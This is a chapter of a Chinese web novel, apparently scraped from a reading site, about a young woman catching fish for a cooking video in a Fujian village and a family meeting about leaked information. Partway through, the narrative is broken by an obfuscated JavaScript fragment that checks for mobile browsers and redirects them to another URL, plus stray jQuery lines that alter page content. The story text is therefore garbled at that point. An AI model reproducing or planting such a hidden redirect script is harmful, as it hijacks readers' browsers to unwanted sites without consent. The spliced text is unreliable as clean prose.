默认冷灰
24号文字
方正启体

18. 抓鱼

作者:南朝翠影本书字数:K更新时间:
    他最终只是轻轻把陈宝仪鬓边的小花瓣拈了下来,攥在手心。


    “还不错。”陈宝仪双手抱臂,上下打量了一下詹仲徽,“不过,詹老板的秘密好像比我想象的要多啊。”


    两人慢慢走回后院,詹仲徽从仓库里拿出钉子,把那顶鲜艳的草帽挂在走廊上,随着春天花朵们的盛开期变换着色彩。


    陈宝仪和詹仲徽聊了张婧的事,如她所想的一样,詹仲徽没什么反对意见。日子一天天过去,小院里除了周末比过去忙碌了些,还有张婧每天都会来学做饭以外,她们的生活和之前没什么区别。


    四月末,福建的夏天已经悄悄到来,村里的孩子踩着拖鞋在溪边捡石头打水漂,玩得不亦乐乎。榕树下围成圈下象棋的老大爷也把保温杯换成了透明的塑料水壶,一人一个小蒲扇不离手地扇。


    今年的天气不错,雨水丰沛、阳光热烈,农人们不怎么费心。


    村里只有一个人不那么舒服,那就是陈宝仪。


    她从前并不苦夏,家里的别墅在厦门顶好的地段,冬暖夏凉,园丁和保姆一过惊蛰就会做好防虫防潮,她不懂这些原理,只知道家里住着舒服极了。


    但村里可没有这些手段,更何况是詹仲徽这个养了一堆花草树木的生态小院。


    天气一热,各种小飞虫就从土里冒出来,她每次走去前院腿上都被咬好几个红点,晚上也总有蚊子从窗户缝隙里飞进来,惹得她心烦意乱,连带着对詹仲徽和小谷都没有什么好脸色。


    “哎哟!”视频通话对面的陈母看着陈宝仪脚踝上又红又肿的蚊子包一惊:“家里舒舒服服的你不呆,偏要跑到山里喂蚊子。”


    “没事的,老板说这两天就帮我给房间加上纱窗,再做个防潮,做好以后就很舒服了。”陈宝仪往蚊子包上喷花露水。她正说着,门外传来了叩门声。


    她关掉视频,单脚跳到门口,打开门,詹仲徽抬了张厚重的木板进来,小谷紧随其后。


    詹仲徽准备给她换个带蚊帐的床,再给装个纱窗。


    “行了,这儿交给我,你和小谷先去鱼塘拍视频。”詹仲徽把床架靠在墙边,把她们打法出去。


    “谢谢詹哥!”陈宝仪朝他竖起大拇指,带上装备跟小谷出门了。


    今天她们要做的菜是水煮活鱼,在此之前小谷一直以为这是道正宗川菜,没想到并不是。


    她们把鱼塘里的水放掉一半,水深大概到脚踝的位置,陈宝仪就穿上捞鱼衣和雨鞋,踩着塘边的斜坡慢慢下水了。


    村里一群小孩骑着自行车路过,舔着冰棒好奇地停下来看她们,陈宝仪被这些灼热的眼神照得有些不好意思,转了个方向摸索着小腿处的塘水。


    鱼塘里鱼少说也有几百斤,虽然水并不算清澈,但大鱼掠过划开的水痕还是很明显,时不时还有冰凉的鳞片隔着手套掠过她的手背,惊得陈宝仪呼吸一滞。


    “宝仪姐!用两只手抓!”小谷把手掌拢成喇叭,在岸上指导她。


    陈宝仪回头比了个“OK”的手势,弯下腰,半蹲着缓慢行进,几乎没搅起一点泥沙。


    她的眼前一只肥硕的草鱼正半停在水面下不深的地方,张着嘴一动不动地吐着泡泡,似乎在晒太阳。


    陈宝仪深吸一口气,双手像螳螂虾一样立在身前,小心地抬起脚。


    “唰!”她猛地压低身子,激起一片水花,草鱼还没反应过来,就被她钳在手里。


    “哇哈!一次成功!”陈宝仪把鱼举到身前,激动地大喊。


    小谷跳起来朝她挥挥手:“姐!快拿回来!”


    陈宝仪抓着鱼往回走,但没走两步,刚刚还静悄悄的鱼却突然剧烈地挣扎起来。


    在满是大鱼和软泥的鱼塘中行走本就不是一件简单的事情,更何况陈宝仪双手还要和鱼较劲,她艰难地掐着鱼鳃,手臂被大幅度摇摆的鱼尾带着乱甩。


    “姐!别跟着它摆,按住它!”谷指导下达了指令。


    “我要是按得住还跟着它摆么!”陈宝仪喊。


    忽然,一颗水珠从鱼鳍上跃起,闪到陈宝仪的眼前,她下意识一闭眼,手上力道也失了几分。


    草鱼抓住这个机会,身躯一甩,长而有力的鱼尾打在了陈宝仪的颊边。


    陈宝仪吃痛松手,跌坐在池塘中,手中的鱼儿也腾地跳进水里,无影无踪了。


    “姐!”小谷赶紧跳下水,转头吩咐那几个骑车的小孩子,“你们帮我扶一下三脚架。”


    等小谷走到陈宝仪面前,她也差不多把自己从污泥里拔了出来。


    “没事吧?”小谷看了看陈宝仪的脸,惊呼,“天哪。”


    陈宝仪的脸本就白皙,前二十多年也算娇生惯养,虽然这几个月在村里没怎么注意保养,黑了些,但左不过是显得暖色了点,但现在却红了一大片,看样子可能会青一块。


    小谷牵着她走回鱼塘边上,其他几个小孩看到陈宝仪的脸也是一惊,嗦着冰棍,七嘴八舌地提出消肿的主意。


    陈宝仪用手机照了下自己的脸,肿了一大半,丑得不行。


    她本就不太美好的心情更是雪上加霜地郁闷。


    小谷着急着带陈宝仪院子里上药,他让陈宝仪先在岸上歇着,自己下去用小网抓了几条上来,没一个小时就回了小院里。


    “怎么这么早就回来了?”还在钉床的詹仲徽听到开门的声响,好奇地探出头来看他俩,却见陈宝仪垂着脑袋,一副气哄哄的样子。


    他挤眉弄眼地询问小谷:怎么了?


    小谷指了指陈宝仪,又用拳头顶了顶自己的腮帮。


    詹仲徽半天才搞明白发生了什么事,把手头上装了一半的床架扔在一旁,带着陈宝仪进卧室帮她上药。


    她脸上的红肿已经消了一部分,但取而代之的是颧骨处一块惹眼的淤青。


    詹仲徽在手上涂满药酒,指腹用力抵住乌青的那块皮肤,用力揉搓。


    他稍微使劲,神经传递着痛觉刺激着陈宝仪的大脑,她忍不住躲闪,眼圈也瞬地红了。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372255|199972||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >“不要,好痛。”陈宝仪伸手握住他骨节分明的手腕,想把他的手从自己脸上拿开。


    男人用掌心捧住她的脸颊,手臂一动不动:“乖,淤血得揉开,揉开就好了。”


    他用指节擦去陈宝仪眼角浸出的一点泪水,在淤血处打着圈按揉。


    陈宝仪的脸很小,他一只手就能托住她大半个脸,女人轻咬下唇忍着针刺般的疼。黛眉轻颦,双目紧闭,睫毛上挂着点点剔透泪珠,正微微颤动。


    他稍一用力,陈宝仪下意识抬手想推他,但又因为他的话而停住动作,手就这样搭在他的肩上。


    显得欲拒还迎。


    他突然呼吸一重,仓皇松手。


    陈宝仪感受到脸颊上持续的压迫突然放松,茫然地睁开眼,一双含水的眸望向他,显得单纯无辜。


    她的声音比平时软了不少:“好了吗?”


    詹仲徽坐到旁边的椅子上,拧上药酒瓶子,嗯了一声然后说:“你先出去。”


    陈宝仪没有察觉詹仲徽的古怪,自己揉着脸往门外走,出门时还很有礼貌地带上了门。


    等到陈宝仪走出去后,詹仲徽垂眼,拇指与食指摩挲了一下,擦去上面变得冰凉的水渍,用指节使劲揉了揉自己的太阳穴,发出长长的一声叹息。


    今天是周末,中午按理来说是旺来楼最忙碌的时候,但这天无论是福州、泉州还是厦门的旺来楼都同时休店。


    此时,各分店的负责人正齐聚总店四楼会议室,圆桌上摆满了山珍海味,但却迟迟没有人动筷子。


    “阿斌啊,你有没有看宝仪最近拍的视频,很火哦。”四叔陈清涓看看桌上其他人一脸严肃的样子,率先开口,笑呵呵地开了个话头。


    “宝仪跑出去一个多月了,阿斌你也是,父女赌气哪有这么久的,差不多也可以叫她回来了。”陈海松的父亲——陈清辉说。


    “就是,她前几天发的那个芋泥鸭的做法技巧,我这个做叔叔的都不知道吼!”四叔笑到,“再不喊她回家,我们旺来楼的菜谱都要被她发完了,就算不说菜谱的事情,你这做老爸的也不担心女儿在外面受苦哦。”


    陈海松起身给各个长辈添茶,缓声微笑说到:“四叔,宝仪不就在泉州吗,你这么关心她怎么没去看看她?”


    “海松啊海松,现在越来越有当家的风范的,连我们这些叔叔伯伯也要听你的了。”一直没说话的福州店负责人陈清敏突然开口,语气虚实难辨。他是四叔公的儿子。


    “抱歉各位叔叔,只是提到妹妹,我心里难免有些急躁。”


    陈海松坐在陈清斌旁,看了他一眼,缓缓开口,“她年轻气盛,耍点小脾气跑出家门不算什么,想出去外面历练一下长长见识也无可厚非,这原本只是咱家的一件小事,但突然有人把这事弄得很复杂。”


    他顿了顿,直起身子,扫过每个人的脸。


    “今天我和二叔请各位叔叔伯伯到这,只有一件事想问。”


    “我妹的信息,是哪位泄露的?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)